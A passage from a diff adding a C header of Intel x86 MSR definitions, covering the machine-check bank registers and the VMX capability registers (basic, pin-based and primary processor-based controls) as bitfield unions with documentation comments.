IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_FLAG 0xF00000000 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_MASK 0x0F +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2(_) (((_) >> 32) & 0x0F) + uint64_t reserved2 : 28; + }; + + uint64_t flags; +} ia32_pebs_enable_register; + +/** + * @defgroup ia32_mc_ctl \ + * IA32_MC(i)_CTL + * + * IA32_MC(0-28)_CTL. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_CTL 0x00000400 +#define IA32_MC1_CTL 0x00000404 +#define IA32_MC2_CTL 0x00000408 +#define IA32_MC3_CTL 0x0000040C +#define IA32_MC4_CTL 0x00000410 +#define IA32_MC5_CTL 0x00000414 +#define IA32_MC6_CTL 0x00000418 +#define IA32_MC7_CTL 0x0000041C +#define IA32_MC8_CTL 0x00000420 +#define IA32_MC9_CTL 0x00000424 +#define IA32_MC10_CTL 0x00000428 +#define IA32_MC11_CTL 0x0000042C +#define IA32_MC12_CTL 0x00000430 +#define IA32_MC13_CTL 0x00000434 +#define IA32_MC14_CTL 0x00000438 +#define IA32_MC15_CTL 0x0000043C +#define IA32_MC16_CTL 0x00000440 +#define IA32_MC17_CTL 0x00000444 +#define IA32_MC18_CTL 0x00000448 +#define IA32_MC19_CTL 0x0000044C +#define IA32_MC20_CTL 0x00000450 +#define IA32_MC21_CTL 0x00000454 +#define IA32_MC22_CTL 0x00000458 +#define IA32_MC23_CTL 0x0000045C +#define IA32_MC24_CTL 0x00000460 +#define IA32_MC25_CTL 0x00000464 +#define IA32_MC26_CTL 0x00000468 +#define IA32_MC27_CTL 0x0000046C +#define IA32_MC28_CTL 0x00000470 + /** + * @} + */ + + /** + * @defgroup ia32_mc_status \ + * IA32_MC(i)_STATUS + * + * IA32_MC(0-28)_STATUS. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_STATUS 0x00000401 +#define IA32_MC1_STATUS 0x00000405 +#define IA32_MC2_STATUS 0x00000409 +#define IA32_MC3_STATUS 0x0000040D +#define IA32_MC4_STATUS 0x00000411 +#define IA32_MC5_STATUS 0x00000415 +#define IA32_MC6_STATUS 0x00000419 +#define IA32_MC7_STATUS 0x0000041D +#define IA32_MC8_STATUS 0x00000421 +#define IA32_MC9_STATUS 0x00000425 +#define IA32_MC10_STATUS 0x00000429 +#define IA32_MC11_STATUS 0x0000042D +#define IA32_MC12_STATUS 0x00000431 +#define IA32_MC13_STATUS 0x00000435 +#define IA32_MC14_STATUS 0x00000439 +#define IA32_MC15_STATUS 0x0000043D +#define IA32_MC16_STATUS 0x00000441 +#define IA32_MC17_STATUS 0x00000445 +#define IA32_MC18_STATUS 0x00000449 +#define IA32_MC19_STATUS 0x0000044D +#define IA32_MC20_STATUS 0x00000451 +#define IA32_MC21_STATUS 0x00000455 +#define IA32_MC22_STATUS 0x00000459 +#define IA32_MC23_STATUS 0x0000045D +#define IA32_MC24_STATUS 0x00000461 +#define IA32_MC25_STATUS 0x00000465 +#define IA32_MC26_STATUS 0x00000469 +#define IA32_MC27_STATUS 0x0000046D +#define IA32_MC28_STATUS 0x00000471 + /** + * @} + */ + + /** + * @defgroup ia32_mc_addr \ + * IA32_MC(i)_ADDR + * + * IA32_MC(0-28)_ADDR. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_ADDR 0x00000402 +#define IA32_MC1_ADDR 0x00000406 +#define IA32_MC2_ADDR 0x0000040A +#define IA32_MC3_ADDR 0x0000040E +#define IA32_MC4_ADDR 0x00000412 +#define IA32_MC5_ADDR 0x00000416 +#define IA32_MC6_ADDR 0x0000041A +#define IA32_MC7_ADDR 0x0000041E +#define IA32_MC8_ADDR 0x00000422 +#define IA32_MC9_ADDR 0x00000426 +#define IA32_MC10_ADDR 0x0000042A +#define IA32_MC11_ADDR 0x0000042E +#define IA32_MC12_ADDR 0x00000432 +#define IA32_MC13_ADDR 0x00000436 +#define IA32_MC14_ADDR 0x0000043A +#define IA32_MC15_ADDR 0x0000043E +#define IA32_MC16_ADDR 0x00000442 +#define IA32_MC17_ADDR 0x00000446 +#define IA32_MC18_ADDR 0x0000044A +#define IA32_MC19_ADDR 0x0000044E +#define IA32_MC20_ADDR 0x00000452 +#define IA32_MC21_ADDR 0x00000456 +#define IA32_MC22_ADDR 0x0000045A +#define IA32_MC23_ADDR 0x0000045E +#define IA32_MC24_ADDR 0x00000462 +#define IA32_MC25_ADDR 0x00000466 +#define IA32_MC26_ADDR 0x0000046A +#define IA32_MC27_ADDR 0x0000046E +#define IA32_MC28_ADDR 0x00000472 + /** + * @} + */ + + /** + * @defgroup ia32_mc_misc \ + * IA32_MC(i)_MISC + * + * IA32_MC(0-28)_MISC. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_MISC 0x00000403 +#define IA32_MC1_MISC 0x00000407 +#define IA32_MC2_MISC 0x0000040B +#define IA32_MC3_MISC 0x0000040F +#define IA32_MC4_MISC 0x00000413 +#define IA32_MC5_MISC 0x00000417 +#define IA32_MC6_MISC 0x0000041B +#define IA32_MC7_MISC 0x0000041F +#define IA32_MC8_MISC 0x00000423 +#define IA32_MC9_MISC 0x00000427 +#define IA32_MC10_MISC 0x0000042B +#define IA32_MC11_MISC 0x0000042F +#define IA32_MC12_MISC 0x00000433 +#define IA32_MC13_MISC 0x00000437 +#define IA32_MC14_MISC 0x0000043B +#define IA32_MC15_MISC 0x0000043F +#define IA32_MC16_MISC 0x00000443 +#define IA32_MC17_MISC 0x00000447 +#define IA32_MC18_MISC 0x0000044B +#define IA32_MC19_MISC 0x0000044F +#define IA32_MC20_MISC 0x00000453 +#define IA32_MC21_MISC 0x00000457 +#define IA32_MC22_MISC 0x0000045B +#define IA32_MC23_MISC 0x0000045F +#define IA32_MC24_MISC 0x00000463 +#define IA32_MC25_MISC 0x00000467 +#define IA32_MC26_MISC 0x0000046B +#define IA32_MC27_MISC 0x0000046F +#define IA32_MC28_MISC 0x00000473 + /** + * @} + */ + + + /** + * Reporting Register of Basic VMX Capabilities. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + * @see Vol3D[A.1(Basic VMX Information)] (reference) + */ +#define IA32_VMX_BASIC 0x00000480 +typedef union +{ + struct + { + /** + * @brief VMCS revision identifier used by the processor + * + * [Bits 30:0] 31-bit VMCS revision identifier used by the processor. Processors that use the same VMCS revision identifier + * use the same size for VMCS regions. + */ + uint64_t vmcs_revision_id : 31; +#define IA32_VMX_BASIC_VMCS_REVISION_ID_BIT 0 +#define IA32_VMX_BASIC_VMCS_REVISION_ID_FLAG 0x7FFFFFFF +#define IA32_VMX_BASIC_VMCS_REVISION_ID_MASK 0x7FFFFFFF +#define IA32_VMX_BASIC_VMCS_REVISION_ID(_) (((_) >> 0) & 0x7FFFFFFF) + + /** + * [Bit 31] Bit 31 is always 0. + */ + uint64_t must_be_zero : 1; +#define IA32_VMX_BASIC_MUST_BE_ZERO_BIT 31 +#define IA32_VMX_BASIC_MUST_BE_ZERO_FLAG 0x80000000 +#define IA32_VMX_BASIC_MUST_BE_ZERO_MASK 0x01 +#define IA32_VMX_BASIC_MUST_BE_ZERO(_) (((_) >> 31) & 0x01) + + /** + * @brief Size of the VMCS + * + * [Bits 44:32] Report the number of bytes that software should allocate for the VMXON region and any VMCS region. It is a + * value greater than 0 and at most 4096 (bit 44 is set if and only if bits 43:32 are clear). + */ + uint64_t vmcs_size_in_bytes : 13; +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_BIT 32 +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_FLAG 0x1FFF00000000 +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_MASK 0x1FFF +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES(_) (((_) >> 32) & 0x1FFF) + uint64_t reserved1 : 3; + + /** + * @brief Width of physical address used for the VMCS + * - 0 -> limited to the available amount of physical RAM + * - 1 -> within the first 4 GB + * + * [Bit 48] Indicates the width of the physical addresses that may be used for the VMXON region, each VMCS, and data + * structures referenced by pointers in a VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions). If the bit + * is 0, these addresses are limited to the processor's physical-address width.2 If the bit is 1, these addresses are + * limited to 32 bits. This bit is always 0 for processors that support Intel 64 architecture. + */ + uint64_t vmcs_physical_address_width : 1; +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_BIT 48 +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_FLAG 0x1000000000000 +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_MASK 0x01 +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH(_) (((_) >> 48) & 0x01) + + /** + * @brief Whether the processor supports the dual-monitor treatment of system-management interrupts and system-management + * code (always 1) + * + * [Bit 49] Read as 1, the logical processor supports the dual-monitor treatment of system-management interrupts and + * system-management mode. + * + * @see Vol3C[34.15(DUAL-MONITOR TREATMENT OF SMIs AND SMM)] + */ + uint64_t dual_monitor_support : 1; +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_BIT 49 +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_FLAG 0x2000000000000 +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_MASK 0x01 +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT(_) (((_) >> 49) & 0x01) + + /** + * @brief Memory type that must be used for the VMCS + * + * [Bits 53:50] Report the memory type that should be used for the VMCS, for data structures referenced by pointers in the + * VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions), and for the MSEG header. If software needs to + * access these data structures (e.g., to modify the contents of the MSR bitmaps), it can configure the paging structures + * to map them into the linear-address space. If it does so, it should establish mappings that use the memory type reported + * bits 53:50 in this MSR. + * As of this writing, all processors that support VMX operation indicate the write-back type. + */ + uint64_t memory_type : 4; +#define IA32_VMX_BASIC_MEMORY_TYPE_BIT 50 +#define IA32_VMX_BASIC_MEMORY_TYPE_FLAG 0x3C000000000000 +#define IA32_VMX_BASIC_MEMORY_TYPE_MASK 0x0F +#define IA32_VMX_BASIC_MEMORY_TYPE(_) (((_) >> 50) & 0x0F) + + /** + * @brief Whether the processor provides additional information for exits due to INS/OUTS + * + * [Bit 54] When set to 1, the processor reports information in the VM-exit instruction-information field on VM exits due + * to execution of the INS and OUTS instructions. This reporting is done only if this bit is read as 1. + * + * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] + */ + uint64_t ins_outs_reporting : 1; +#define IA32_VMX_BASIC_INS_OUTS_REPORTING_BIT 54 +#define IA32_VMX_BASIC_INS_OUTS_REPORTING_FLAG 0x40000000000000 +#define IA32_VMX_BASIC_INS_OUTS_REPORTING_MASK 0x01 +#define IA32_VMX_BASIC_INS_OUTS_REPORTING(_) (((_) >> 54) & 0x01) + + /** + * @brief Whether default 1 bits in control MSRs (pin/proc/exit/entry) may be cleared to 0 and that 'true' control MSRs are + * supported + * + * [Bit 55] Is read as 1 if any VMX controls that default to 1 may be cleared to 0. It also reports support for the VMX + * capability MSRs IA32_VMX_TRUE_PINBASED_CTLS, IA32_VMX_TRUE_PROCBASED_CTLS, IA32_VMX_TRUE_EXIT_CTLS, and + * IA32_VMX_TRUE_ENTRY_CTLS. + * + * @see Vol3D[A.2(RESERVED CONTROLS AND DEFAULT SETTINGS)] + * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] + * @see Vol3D[A.4(VM-EXIT CONTROLS)] + * @see Vol3D[A.5(VM-ENTRY CONTROLS)] + */ + uint64_t vmx_controls : 1; +#define IA32_VMX_BASIC_VMX_CONTROLS_BIT 55 +#define IA32_VMX_BASIC_VMX_CONTROLS_FLAG 0x80000000000000 +#define IA32_VMX_BASIC_VMX_CONTROLS_MASK 0x01 +#define IA32_VMX_BASIC_VMX_CONTROLS(_) (((_) >> 55) & 0x01) + uint64_t reserved2 : 8; + }; + + uint64_t flags; +} ia32_vmx_basic_register; + + +/** + * Capability Reporting Register of Pin-Based VM-Execution Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] + * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] (reference) + */ +#define IA32_VMX_PINBASED_CTLS 0x00000481 +typedef union +{ + struct + { + /** + * @brief External interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT + * + * [Bit 0] If this control is 1, external interrupts cause VM exits. Otherwise, they are delivered normally through the + * guest interrupt-descriptor table (IDT). If this control is 1, the value of RFLAGS.IF does not affect interrupt blocking. + */ + uint64_t external_interrupt_exiting : 1; +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_BIT 0 +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_FLAG 0x01 +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 2; + + /** + * @brief Non-maskable interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT + * + * [Bit 3] If this control is 1, non-maskable interrupts (NMIs) cause VM exits. Otherwise, they are delivered normally + * using descriptor 2 of the IDT. This control also determines interactions between IRET and blocking by NMI. + * + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + */ + uint64_t nmi_exiting : 1; +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_BIT 3 +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_FLAG 0x08 +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING(_) (((_) >> 3) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief Virtual NMIs + * + * [Bit 5] If this control is 1, NMIs are never blocked and the "blocking by NMI" bit (bit 3) in the interruptibility-state + * field indicates "virtual-NMI blocking". This control also interacts with the "NMI-window exiting" VM-execution control. + * + * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] + */ + uint64_t virtual_nmi : 1; +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_BIT 5 +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_FLAG 0x20 +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI(_) (((_) >> 5) & 0x01) + + /** + * @brief Activate VMX preemption timer + * + * [Bit 6] If this control is 1, the VMX-preemption timer counts down in VMX non-root operation. A VM exit occurs when the + * timer counts down to zero. + * + * @see Vol3C[25.5.1(VMX-Preemption Timer)] + * @see Vol3C[25.2(OTHER CAUSES OF VM EXITS)] + */ + uint64_t activate_vmx_preemption_timer : 1; +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_BIT 6 +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_FLAG 0x40 +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER(_) (((_) >> 6) & 0x01) + + /** + * @brief Process interrupts with the posted-interrupt notification vector + * + * [Bit 7] If this control is 1, the processor treats interrupts with the posted-interrupt notification vector specially, + * updating the virtual-APIC page with posted-interrupt requests. + * + * @see Vol3C[24.6.8(Controls for APIC Virtualization)] + * @see Vol3C[29.6(POSTED-INTERRUPT PROCESSING)] + */ + uint64_t process_posted_interrupts : 1; +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_BIT 7 +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_FLAG 0x80 +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS(_) (((_) >> 7) & 0x01) + uint64_t reserved3 : 56; + }; + + uint64_t flags; +} ia32_vmx_pinbased_ctls_register; + + +/** + * Capability Reporting Register of Primary Processor-Based VM-Execution Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] + * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] (reference) + */ +#define IA32_VMX_PROCBASED_CTLS 0x00000482 +typedef union +{ + struct + { + uint64_t reserved1 : 2; + + /** + * @brief VM-exit as soon as RFLAGS.IF=1 and no blocking is active + * + * [Bit 2] If this control is 1, a VM exit occurs at the beginning of any instruction if RFLAGS.IF = 1 and there are no + * other blocking of interrupts. + * + * @see Vol3C[24.4.2(Guest Non-Register State)] + */ + uint64_t interrupt_window_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_BIT 2 +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_FLAG 0x04 +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING(_) (((_) >> 2) & 0x01) + + /** + * @brief Use timestamp counter offset + * + * [Bit 3] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read + * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC offset field. + * + * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + */ + uint64_t use_tsc_offsetting : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_BIT 3 +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_FLAG 0x08 +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING(_) (((_) >> 3) & 0x01) + uint64_t reserved2 : 3; + + /** + * @brief VM-exit when executing the HLT instruction + * + * [Bit 7] This control determines whether executions of HLT cause VM exits. + */ + uint64_t hlt_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_BIT 7 +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_FLAG 0x80 +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING(_) (((_) >> 7) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief VM-exit when executing the INVLPG instruction + * + * [Bit 9] This control determines whether executions of INVLPG cause VM exits. + */ + uint64_t invlpg_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_BIT 9 +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_FLAG 0x200 +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING(_) (((_) >> 9) & 0x01) + + /** + * @brief VM-exit when executing the MWAIT instruction + * + * [Bit 10] This control determines whether executions of MWAIT cause VM exits. + */ + uint64_t mwait_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_BIT 10 +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_FLAG 0x400 +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING(_) (((_) >> 10) & 0x01) + + /** + * @brief VM-exit when executing the RDPMC instruction + * + * [Bit 11] This control determines whether executions of RDPMC cause VM exits. + */ + uint64_t rdpmc_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_BIT 11 +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_FLAG 0x800 +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING(_) (((_) >> 11) & 0x01) + + /** + * @brief VM-exit when executing the RDTSC/RDTSCP instruction + * + * [Bit 12] This control determines whether executions of RDTSC and RDTSCP cause VM exits. + */ + uint64_t rdtsc_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_BIT 12 +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_FLAG 0x1000 +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING(_) (((_) >> 12) & 0x01) + uint64_t reserved4 : 2; + + /** + * @brief VM-exit when executing the MOV to CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 15] In conjunction with the CR3-target controls, this control determines whether executions of MOV to CR3 cause VM + * exits. The first processors to support the virtual-machine extensions supported only the 1-setting of this control. + * + * @see Vol3C[24.6.7(CR3-Target Controls)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t cr3_load_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_BIT 15 +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_FLAG 0x8000 +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING(_) (((_) >> 15) & 0x01) + + /** + * @brief VM-exit when executing the MOV from CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 16] This control determines whether executions of MOV from CR3 cause VM exits. The first processors to support the + * virtual-machine extensions supported only the 1-setting of this control. + */ + uint64_t cr3_store_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_BIT 16 +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_FLAG 0x10000 +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING(_) (((_) >> 16) & 0x01) + uint64_t reserved5 : 2; + + /** + * @brief VM-exit on CR8 loads + * + * [Bit 19] This control determines whether executions of MOV to CR8 cause VM exits. + */ + uint64_t cr8_load_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_BIT 19 +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_FLAG 0x80000 +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING(_) (((_) >> 19) & 0x01) + + /** + * @brief VM-exit on CR8 stores + * + * [Bit 20] This control determines whether executions of MOV from CR8 cause VM exits. + */ + uint64_t cr8_store_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_BIT 20 +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_FLAG 0x100000 +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING(_) (((_) >> 20) & 0x01) + + /** + * @brief Use TPR shadow + * + * [Bit 21] Setting this control to 1 enables TPR virtualization and other APIC-virtualization features. + * + * @see Vol3C[29(APIC VIRTUALIZATION AND VIRTUAL INTERRUPTS)] + */ + uint64_t use_tpr_shadow : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_BIT 21 +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_FLAG 0x200000 +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW(_) (((_) >> 21) & 0x01) + + /** + * @brief VM-exit when virtual NMI blocking is disabled + * + * [Bit 22] If this control is 1, a VM exit occurs at the beginning of any instruction if there is no virtual-NMI blocking. + * + * @see Vol3C[24.4.2(Guest Non-Register State)] + */ + uint64_t nmi_window_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_BIT 22 +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_FLAG 0x400000 +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING(_) (((_) >> 22) & 0x01) + + /** + * @brief VM-exit when executing a MOV DRx instruction + * + * [Bit 23] This control determines whether executions of MOV DR cause VM exits. + */ + uint64_t mov_dr_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_BIT 23 +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_FLAG 0x800000 +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING(_) (((_) >> 23) & 0x01) + + /** + * @brief VM-exit when executing IO instructions + * + * [Bit 24] This control determines whether executions of I/O instructions (IN, INS/INSB/INSW/INSD, OUT, and + * OUTS/OUTSB/OUTSW/OUTSD) cause VM exits. + */ + uint64_t unconditional_io_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_BIT 24 +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_FLAG 0x1000000 +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING(_) (((_) >> 24) & 0x01) + + /** + * @brief Use IO bitmaps + * + * [Bit 25] This control determines whether I/O bitmaps are used to restrict executions of I/O instructions For this + * control, "0" means "do not use I/O bitmaps" and "1" means "use I/O bitmaps." If the I/O bitmaps are used, the setting of + * the "unconditional I/O exiting" control is ignored. + * + * @see Vol3C[24.6.4(I/O-Bitmap Addresses)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t use_io_bitmaps : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_BIT 25 +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_FLAG 0x2000000 +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS(_) (((_) >> 25) & 0x01) + uint64_t reserved6 : 1; + + /** + * @brief Monitor trap flag + * + * [Bit 27] If this control is 1, the monitor trap flag debugging feature is enabled. + * + * @see Vol3C[25.5.2(Monitor Trap Flag)] + */ + uint64_t monitor_trap_flag : 1; +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_BIT 27 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_FLAG 0x8000000 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG(_) (((_) >> 27) & 0x01) + + /** + * @brief Use MSR bitmaps + * + * [Bit 28] This control determines whether MSR bitmaps are used to control execution of the RDMSR and WRMSR instructions. + * For this control, "0" means "do not use MSR bitmaps" and "1" means "use MSR bitmaps." If the MSR bitmaps are not used, + * all executions of the RDMSR and WRMSR instructions cause VM exits. + * + * @see Vol3C[24.6.9(MSR-Bitmap Address)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t use_msr_bitmaps : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_BIT 28 +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_FLAG 0x10000000 +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS(_) (((_) >> 28) & 0x01) + + /** + * @brief VM-exit when executing the MONITOR instruction + * + * [Bit 29] This control determines whether executions of MONITOR cause VM exits. + */ + uint64_t monitor_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_BIT 29 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_FLAG 0x20000000 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING(_) (((_) >> 29) & 0x01) + + /** + * @brief VM-exit when executing the PAUSE instruction + * + * [Bit 30] This control determines whether executions of PAUSE cause VM exits. + */ + uint64_t pause_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_BIT 30 +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_FLAG 0x40000000 +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING(_) (((_) >> 30) & 0x01) + + /** + * @brief Determines whether the secondary processor based VM-execution controls are used + * + * [Bit 31] This control determines whether the secondary processor-based VM-execution controls are used. If this control + * is 0, the logical processor operates as if all the secondary processor-based VM-execution controls were also 0. + */ + uint64_t activate_secondary_controls : 1; +#define 